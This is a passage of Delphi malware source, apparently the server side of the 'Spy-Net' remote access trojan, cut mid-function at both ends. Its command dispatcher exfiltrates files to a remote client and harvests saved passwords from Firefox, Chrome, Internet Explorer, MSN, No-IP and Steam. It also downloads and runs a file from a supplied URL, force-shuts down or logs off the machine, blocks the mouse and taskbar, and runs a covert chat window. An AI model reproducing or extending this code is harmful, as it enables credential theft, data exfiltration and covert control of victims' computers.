if copy(Comando, 1, pos('|', Comando) - 1) = COPIAR_ARQ then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if copyfile(pchar(TempStr1 + tempstr), pchar(TempStr2 + tempstr), FALSE) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + tempstr + '--->' + TempStr2 + tempstr + '|' + '328' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + tempstr + '--->' + TempStr2 + tempstr + '|' + '328' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = COPIAR_PASTA then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if CopyDirectory(0, pchar(TempStr1 + tempstr), pchar(TempStr2)) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + tempstr + '--->' + TempStr2 + tempstr + '|' + '328' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + tempstr + '--->' + TempStr2 + tempstr + '|' + '328' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = THUMBNAIL then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if fileexists(TempStr1) = false then
begin
ToSend := FILEMANAGER + '|' + THUMBNAILERROR + '|';
_EnviarStream(ClientSocket, Tosend);
exit;
end;
TempStr2 := GetAnyImageToString(TempStr1, 75, 96, 96);
ToSend := FILEMANAGER + '|' + THUMBNAIL + '|' + TempStr + '|' + TempStr1 + '|' + TempStr2;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DOWNLOAD then
begin
Delete(Comando, 1, pos('|', Comando));
Tempstr := copy(Comando, 1, pos('|', Comando) - 1);
TempInt := MyGetFileSize(Tempstr);
if (fileexists(Tempstr) = true) and (TempInt > 0) and (PossoMexerNoArquivo(Tempstr) = true) then
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + DOWNLOAD + '|' + TempStr + '|', TempStr, TempInt, 0) else
_EnviarStream(ClientSocket, FILEMANAGER + '|' + FILEMANAGERERROR + '|' + Tempstr + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DOWNLOADREC then
begin
Delete(Comando, 1, pos('|', Comando));
Tempstr := copy(Comando, 1, pos('|', Comando) - 1);
TempInt := MyGetFileSize(Tempstr);
if (fileexists(Tempstr) = true) and (TempInt > 0) and (PossoMexerNoArquivo(Tempstr) = true) then
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + DOWNLOADREC + '|' + extractfilepath(Tempstr) + '|' + TempStr + '|', TempStr, TempInt, 0) else
_EnviarStream(ClientSocket, FILEMANAGER + '|' + FILEMANAGERERROR + '|' + Tempstr + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = RESUMETRANSFER then
begin
Delete(Comando, 1, pos('|', Comando));
Tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempInt := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
TempInt2 := MyGetFileSize(Tempstr);
if (fileexists(Tempstr) = true) and (PossoMexerNoArquivo(Tempstr) = true) then
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + RESUMETRANSFER + '|' + TempStr + '|', TempStr, TempInt2, TempInt) else
_EnviarStream(ClientSocket, FILEMANAGER + '|' + FILEMANAGERERROR + '|' + Tempstr + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UPLOAD then
begin
Delete(Comando, 1, Pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1); // arquivo no cliente
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1); // onde vou salvar
Delete(Comando, 1, Pos('|', Comando));
TempStr2 := Copy(Comando, 1, Pos('|', Comando) - 1); // Tamanho
Delete(Comando, 1, Pos('|', Comando));
Criararquivo(TempStr1, 'XXX', 3);
if MyDeleteFile(TempStr1) = false then
_EnviarStream(ClientSocket, FILEMANAGER + '|' + FILEMANAGERERROR + '|' + TempStr1 + '|') else
ReceberArquivo2(ClientSocket, FILEMANAGER + '|' + UPLOAD + '|' + TempStr + '|', TempStr1, strtoint(TempStr2));
end else
if copy(Comando, 1, pos('|', Comando) - 1) = PROCURAR_ARQ then
begin
ToSendSearch := '';
if SearchID <> 0 then CloseThread(SearchID);
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
ThreadSearch := TThreadSearch.Create(TempStr1, TempStr2);
SearchID := BeginThread(nil,
0,
@ProcurarArquivo,
ThreadSearch,
0,
ThreadId);
while true do processmessages;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = PROCURAR_ARQ_PARAR then
begin
if SearchID <> 0 then CloseThread(SearchID);
SearchID := 0;
TempStr := ToSendSearch;
ToSendSearch := '';
if TempStr <> '' then
begin
ToSend := FILEMANAGER + '|' + PROCURAR_ARQ + '|' + TempStr;
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + PROCURARERROR + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = THUMBNAILSEARCH then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if fileexists(TempStr1) = false then
begin
ToSend := FILEMANAGER + '|' + THUMBNAILSEARCHERROR + '|';
_EnviarStream(ClientSocket, Tosend);
exit;
end;
TempStr2 := GetAnyImageToString(TempStr1, 75, 96, 96);
ToSend := FILEMANAGER + '|' + THUMBNAILSEARCH + '|' + TempStr + '|' + TempStr1 + '|' + TempStr2;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTITHUMBNAIL then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr3 := '';
while Comando <> '' do
begin
sleep(10);
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if fileexists(TempStr1) = false then Continue;
TempStr2 := GetAnyImageToString(TempStr1, 75, 96, 96);
TempStr3 := TempStr3 + TempStr + '|' + TempStr2 + DelimitadorDeImagem;
end;
if TempStr3 = '' then
begin
ToSend := FILEMANAGER + '|' + THUMBNAILERROR + '|';
_EnviarStream(ClientSocket, Tosend);
exit;
end;
ToSend := FILEMANAGER + '|' + MULTITHUMBNAIL + '|' + TempStr3;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTITHUMBNAILSEARCH then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr3 := '';
while Comando <> '' do
begin
sleep(10);
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if fileexists(TempStr1) = false then Continue;
TempStr2 := GetAnyImageToString(TempStr1, 75, 96, 96);
TempStr3 := TempStr3 + TempStr + '|' + TempStr2 + DelimitadorDeImagem; // delimitador
end;
if TempStr3 = '' then
begin
ToSend := FILEMANAGER + '|' + THUMBNAILSEARCHERROR + '|';
_EnviarStream(ClientSocket, Tosend);
exit;
end;
ToSend := FILEMANAGER + '|' + MULTITHUMBNAILSEARCH + '|' + TempStr3;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTIDELETAR_DIR then
begin
delete(Comando, 1, pos('|', Comando));
DeletouDir := true;
while Comando <> '' do
begin
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
if DeleteFolder(pchar(TempStr1)) = false then DeletouDir := false;
end;
if DeletouDir = true then
begin
ToSend := FILEMANAGER + '|' + DELDIRALLYES + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + DELDIRALLNO + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTIDELETAR_ARQ then
begin
delete(Comando, 1, pos('|', Comando));
DeletouArq := true;
while Comando <> '' do
begin
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
if MyDeleteFile(pchar(TempStr1)) = false then DeletouArq := false;
end;
if DeletouArq = true then
begin
ToSend := FILEMANAGER + '|' + DELFILEALLYES + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + DELFILEALLNO + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTIDOWNLOAD then
begin
Delete(Comando, 1, pos('|', Comando));
while Comando <> '' do
begin
Tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempInt := MyGetFileSize(Tempstr);
if (fileexists(Tempstr) = true) and (TempInt > 0) and (PossoMexerNoArquivo(Tempstr) = true) then
begin
MuliDownFile := Tempstr;
MuliDownFileSize := TempInt;
StartThread(@DownloadSelected);
sleep(500);
end;
end;
While true do processmessages;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MULTIDOWNLOADREC then
begin
Delete(Comando, 1, pos('|', Comando));
while Comando <> '' do
begin
Tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempInt := MyGetFileSize(Tempstr);
if (fileexists(Tempstr) = true) and (TempInt > 0) and (PossoMexerNoArquivo(Tempstr) = true) then
begin
MuliDownFile := Tempstr;
MuliDownFileSize := TempInt;
StartThread(@DownloadRecSelected);
sleep(500);
end;
end;
While true do processmessages;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = GETPASSWORD then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
if TempStr = ' ' then TempStr := '';
TempStr3 := NewIdentification + '_' + extractdiskserial(copy(paramstr(0), 1, pos('\', paramstr(0))));
TempMutex := CreateMutex(nil, False, '_x_X_PASSWORDLIST_X_x_');
if fileexists(ServerFileName) = true then
if MyShellExecute(0, 'open', pchar(ServerFileName), nil, nil, SW_NORMAL) <= 32 then exit else
begin
sleep(2000);
closehandle(TempMutex);
NOIP := lerarquivo(MytempFolder + 'NOIP.abc', c);
MSN := lerarquivo(MytempFolder + 'MSN.abc', c);
FIREFOX := lerarquivo(MytempFolder + 'FIREFOX.abc', c);
IELOGIN := lerarquivo(MytempFolder + 'IELOGIN.abc', c);
IEPASS := lerarquivo(MytempFolder + 'IEPASS.abc', c);
IEAUTO := lerarquivo(MytempFolder + 'IEAUTO.abc', c);
IEWEB := lerarquivo(MytempFolder + 'IEWEB.abc', c);
TempStr4 := lerreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Mozilla\Mozilla Firefox', 'CurrentVersion', '');
TempInt := strtoint(copy(tempstr4, 1, pos('.', Tempstr4) - 1));
if TempInt >= 3 then
begin
delete(tempstr4, 1, pos('.', Tempstr4));
if TempInt >= 4 then FF3_5 := Mozilla3_5Password else
if strtoint(copy(tempstr4, 1, 1)) >= 5 then FF3_5 := Mozilla3_5Password else FF3_5 := '';
end;
if ChromePassReady = true then CHROME := GetChromePass(ChromeFile) else CHROME := '';
STEAM := GetSteamPass;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(NOIP)) <> 0 then
TempStr1 := TempStr1 + GETNOIP + '|' + TempStr3 + '|' + NOIP + DelimitadorDeImagem;
end else if NOIP <> '' then TempStr1 := TempStr1 + GETNOIP + '|' + TempStr3 + '|' + NOIP + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(MSN)) <> 0 then
TempStr1 := TempStr1 + GETMSN + '|' + TempStr3 + '|' + MSN + DelimitadorDeImagem else
end else if MSN <> '' then TempStr1 := TempStr1 + GETMSN + '|' + TempStr3 + '|' + MSN + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(FIREFOX)) <> 0 then
TempStr1 := TempStr1 + GETFIREFOX + '|' + TempStr3 + '|' + FIREFOX + DelimitadorDeImagem else
end else if FIREFOX <> '' then TempStr1 := TempStr1 + GETFIREFOX + '|' + TempStr3 + '|' + FIREFOX + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(IELOGIN)) <> 0 then
TempStr1 := TempStr1 + GETIELOGIN + '|' + TempStr3 + '|' + IELOGIN + DelimitadorDeImagem else
end else if IELOGIN <> '' then TempStr1 := TempStr1 + GETIELOGIN + '|' + TempStr3 + '|' + IELOGIN + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(IEPASS)) <> 0 then
TempStr1 := TempStr1 + GETIEPASS + '|' + TempStr3 + '|' + IEPASS + DelimitadorDeImagem else
end else if IEPASS <> '' then TempStr1 := TempStr1 + GETIEPASS + '|' + TempStr3 + '|' + IEPASS + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(IEAUTO)) <> 0 then
TempStr1 := TempStr1 + GETIEAUTO + '|' + TempStr3 + '|' + IEAUTO + DelimitadorDeImagem else
end else if IEAUTO <> '' then TempStr1 := TempStr1 + GETIEAUTO + '|' + TempStr3 + '|' + IEAUTO + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(IEWEB)) <> 0 then
TempStr1 := TempStr1 + GETIEWEB + '|' + TempStr3 + '|' + IEWEB + DelimitadorDeImagem else
end else if IEWEB <> '' then TempStr1 := TempStr1 + GETIEWEB + '|' + TempStr3 + '|' + IEWEB + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(FF3_5)) <> 0 then
TempStr1 := TempStr1 + GETFF3_5 + '|' + TempStr3 + '|' + FF3_5 + DelimitadorDeImagem else
end else if FF3_5 <> '' then TempStr1 := TempStr1 + GETFF3_5 + '|' + TempStr3 + '|' + FF3_5 + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(STEAM) + 'STEAM') <> 0 then
TempStr1 := TempStr1 + GETSTEAM + '|' + TempStr3 + '|' + STEAM + DelimitadorDeImagem else
end else if STEAM <> '' then TempStr1 := TempStr1 + GETSTEAM + '|' + TempStr3 + '|' + STEAM + DelimitadorDeImagem;
if TempStr <> '' then
begin
if pos(Upperstring(TempStr), Upperstring(CHROME)) <> 0 then
TempStr1 := TempStr1 + GETCHROME + '|' + TempStr3 + '|' + CHROME + DelimitadorDeImagem else
end else if CHROME <> '' then TempStr1 := TempStr1 + GETCHROME + '|' + TempStr3 + '|' + CHROME + DelimitadorDeImagem;
//não vou deletar pq algumas vezes o ervidor não consegue criar as senhas em 2 segundos
// assim eu aproveito as existentes
//MyDeleteFile(MytempFolder + 'NOIP.abc');
//MyDeleteFile(MytempFolder + 'MSN.abc');
//MyDeleteFile(MytempFolder + 'FIREFOX.abc');
//MyDeleteFile(MytempFolder + 'IELOGIN.abc');
//MyDeleteFile(MytempFolder + 'IEPASS.abc');
//MyDeleteFile(MytempFolder + 'IEAUTO.abc');
//MyDeleteFile(MytempFolder + 'IEWEB.abc');
if TempStr1 <> '' then
begin
ToSend := GETPASSWORD + '|' + GETPASSWORDLIST + '|' + TempStr1;
//_EnviarStream(ClientSocket, ToSend, true); //tentei criar nova conexão e não deu muito certo
_EnviarStream(ClientSocket, ToSend); //tentei criar nova conexão e não deu muito certo
end else
begin
ToSend := GETPASSWORD + '|' + GETPASSWORDERROR + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end;
closehandle(TempMutex);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UPDATESERVIDORWEB then
begin
delete(comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(comando, 1, pos('|', Comando));
TempStr2 := MyTempFolder + inttostr(gettickcount) + '_' + ExtractFileName(TempStr1);
MyURLDownloadToFile(nil, pchar(tempstr1), pchar(tempstr2), 0, nil);
TempMutex := CreateMutex(nil, False, '_x_X_UPDATE_X_x_');
if MyShellExecute(0, 'open', pchar(TempStr2), nil, nil, SW_NORMAL) <= 32 then
begin
_EnviarStream(ClientSocket, UPDATESERVERERROR + '|');
exit;
end;
sleep(1000);
CloseHandle(TempMutex);
DesinstalarServer;
ClientSocket.Disconnect(erro22);
AddDebug(erro7);
GetWindowThreadProcessId(FindWindow('shell_traywnd', nil), @PID);
if PID <> getcurrentprocessid then
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
sleep(10000);
exitprocess(0);
end else
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
FinalizarServidor := true;
sleep(10000); // tempo para todos os processos verificarem o mutex_sair
// aqui eu preciso fachar o handle pq o processo não será finalizado
CloseHandle(ExitMutex);
exit;
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UnitComandos.FILESEARCH then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr1 := GetDrives2;
TempStr2 := '';
while (Tempstr1 <> '') or (Tempstr2 <> '') do
begin
TempStr3 := listararquivos(copy(Tempstr1, 1, pos('|', Tempstr1) - 1));
if length(TempStr3) > 3 then
begin
if FileExistsOnComputer(copy(Tempstr1, 1, pos('|', Tempstr1) - 1), '*' + TempStr + '*.*', true, Tempstr2) = true then break;
delete(Tempstr1, 1, pos('|', Tempstr1));
end else delete(Tempstr1, 1, pos('|', Tempstr1));
end;
if Tempstr2 <> '' then _EnviarStream(ClientSocket, FILESEARCHOK + '|' + Tempstr2 + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MYMESSAGEBOX then
begin
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr2 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr3 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
// coloquei esse procedimento para mostrar o messagebox no primeiro handle invisível que ele achar.
// assim não aparece o ícone quando mostrar o messagebox
TempStr5 := WindowsList;
while TempStr5 <> '' do
begin
TempStr6 := copy(TempStr5, 1, pos('|', TempStr5) - 1);
delete(TempStr5, 1, pos('|', TempStr5));
H := StrToInt(copy(TempStr5, 1, pos('|', TempStr5) - 1));
delete(TempStr5, 1, pos('|', TempStr5));
if pos('*@*@', TempStr6) > 0 then
begin
i := messagebox(H,
pchar(tempstr3),
pchar(tempstr2),
strtoint(tempstr) or strtoint(tempstr1) or MB_SYSTEMMODAL or MB_SETFOREGROUND or MB_TOPMOST);
ToSend := OPCOESEXTRAS + '|' + MYMESSAGEBOX + '|' + inttostr(i) + '|' + ENTER;
try
_EnviarStream(ClientSocket, ToSend);
except
end;
closethread(MasterCommandThreadId);
exit;
end;
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = unitComandos.MYSHUTDOWN then
begin
WindowsExit(EWX_SHUTDOWN or EWX_FORCE);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = unitComandos.HIBERNAR then
begin
Hibernar(True, False, False);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LOGOFF then
begin
WindowsExit(EWX_LOGOFF or EWX_FORCE);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = POWEROFF then
begin
WindowsExit(EWX_POWEROFF or EWX_FORCE);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MYRESTART then
begin
WindowsExit(EWX_REBOOT or EWX_FORCE);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESLMONITOR then
begin
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = BTN_START_HIDE then
begin
ShowStartButton(false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = BTN_START_SHOW then
begin
ShowStartButton(true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = BTN_START_BLOCK then
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', nil),false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = BTN_START_UNBLOCK then
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', nil),true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESK_ICO_HIDE then
begin
ShowDesktop(false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESK_ICO_SHOW then
begin
ShowDesktop(true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESK_ICO_BLOCK then
begin
EnableWindow(FindWindow('ProgMan', nil), false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESK_ICO_UNBLOCK then
begin
EnableWindow(FindWindow('ProgMan', nil), true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = TASK_BAR_HIDE then
begin
TaskBarHIDE(false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = TASK_BAR_SHOW then
begin
TaskBarHIDE(true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = TASK_BAR_BLOCK then
begin
EnableWindow(FindWindow('Shell_TrayWnd', nil), false);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = TASK_BAR_UNBLOCK then
begin
EnableWindow(FindWindow('Shell_TrayWnd', nil), true);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MOUSE_BLOCK then
begin
CloseHandle(BlockMouseHandle);
sleep(100);
BlockMouseHandle := CreateMutex(nil, False, '_x_X_BLOCKMOUSE_X_x_');
if fileexists(ServerFileName) = true then
begin
if MyShellExecute(0, 'open', pchar(ServerFileName), nil, nil, SW_NORMAL) <= 32 then CloseHandle(BlockMouseHandle);
end else CloseHandle(BlockMouseHandle);
while true do processmessages;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MOUSE_UNBLOCK then
begin
CloseHandle(BlockMouseHandle);
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MOUSE_SWAP then
begin
if swapmouse = true then
begin
SwapMouseButtons(false);
swapmouse := false;
end else
begin
SwapMouseButtons(true);
swapmouse := true;
end;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SYSTRAY_ICO_HIDE then
begin
TrayHIDE;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SYSTRAY_ICO_SHOW then
begin
TraySHOW;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = OPENCD then
begin
AbrirCD;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CLOSECD then
begin
FecharCD;
closethread(MasterCommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CHAT then
begin
Sairdochat := true;
if MainWnd <> nil then FecharJanela(MainWnd.Handle);
sleep(100);
Sairdochat := false;
delete(Comando, 1, pos('|', Comando));
FormCaption := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
ServerName := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
ClientName := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
MemoColor := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
delete(Comando, 1, pos('|', Comando));
MemoTextColor := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
delete(Comando, 1, pos('|', Comando));
EditColor := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
delete(Comando, 1, pos('|', Comando));
EditTextColor := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
delete(Comando, 1, pos('|', Comando));
ButtonCaption := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
Envia := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
Enviou := copy(Comando, 1, pos('|', Comando) - 1);
_EnviarStream(clientSocket, CHAT + '|');
MainWnd := TSDIMainWindow.Create(0, 'Spy-Net');
MainWnd.OnDestroy := MainDestroy;
MainWnd.DoCreate(WS_VISIBLE or WS_CAPTION or WS_POPUP);
MainWnd.Height := 500;
MainWnd.Width := 500;
MainWnd.Color := MainColor;
processmessages;
Memo1 := TAPIMemo.Create(MainWnd.Handle);
Memo1.Height := MainWnd.ClientHeight - 21;
Memo1.Width := MainWnd.ClientWidth;
Memo1.XPos := 0;
Memo1.YPos := 0;
Memo1.Color := MemoColor;
Memo1.TextColor := MemoTextColor;
processmessages;
Edit1 := TAPIEdit.Create(MainWnd.Handle);
Edit1.XPos := 0;
Edit1.YPos := Memo1.Height;
Edit1.Height := 21;
Edit1.Width := Memo1.Width - 75;
Edit1.Color := EditColor;
Edit1.TextColor := EditTextColor;
processmessages;
Button1 := TAPIButton.Create(MainWnd.Handle);
Button1.XPos := Edit1.Width;
Button1.YPos := Edit1.YPos;
Button1.Width := 75;
Button1.Caption := ButtonCaption;
Button1.Height := Edit1.Height;
Button1.OnClick := Button1Click;
processmessages;
SetWindowText(MainWnd.Handle, pchar(FormCaption));
ChangeTextFont(Memo1.Handle, FontName, FontSize);
ChangeTextFont(Edit1.Handle, FontName, FontSize);
ChangeTextFont(Button1.Handle, FontName, FontSize);
processmessages;
closehandle(CheckHWND);
CheckHWND := StartThread(@CheckMSG);
DefinirHandle;
closehandle(CheckHWND);
if MainWnd <> nil then FecharJanela(MainWnd.Handle);
memo1 := nil;
edit1 := nil;
button1 := nil;
MainWnd := nil;
//try memo1.Free; except end;
//try edit1.Free; except end;
//try button1.Free; except end;
//try MainWnd.Free; except end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CHATMSG then
begin
delete(Comando, 1, pos('|', Comando));
MensagemCHATRecebida := copy(Comando, 1, pos('|', Comando) - 1);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CHATCLOSE then
begin
Sairdochat := true;
//if MainWnd <> nil then FecharJanela(MainWnd.Handle);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = GETSHAREDLIST then
begin
TempStr := ListSharedFolders;
if TempStr = '' then ToSend := FILEMANAGER + '|' + NOSHAREDLIST + '|' else
ToSend := FILEMANAGER + '|' + GETSHAREDLIST + '|' + TempStr;
_EnviarStream(ClientSocket, Tosend);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DOWNLOADDIR then
begin
ToDownloadDIR := '';
if DownloadDIRId <> 0 then CloseThread(DownloadDIRId);
delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
ThreadDownloadDir := TThreadDownloadDir.Create(TempStr);
DownloadDIRId := BeginThread(nil,
0,
@DownloadDirStart,
ThreadDownloadDir,
0,
ThreadId);
while true do _processmessages;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DOWNLOADDIRSTOP then
begin
if DownloadDIRId <> 0 then CloseThread(DownloadDIRId);
DownloadDIRId := 0;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CHANGEATTRIBUTES then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
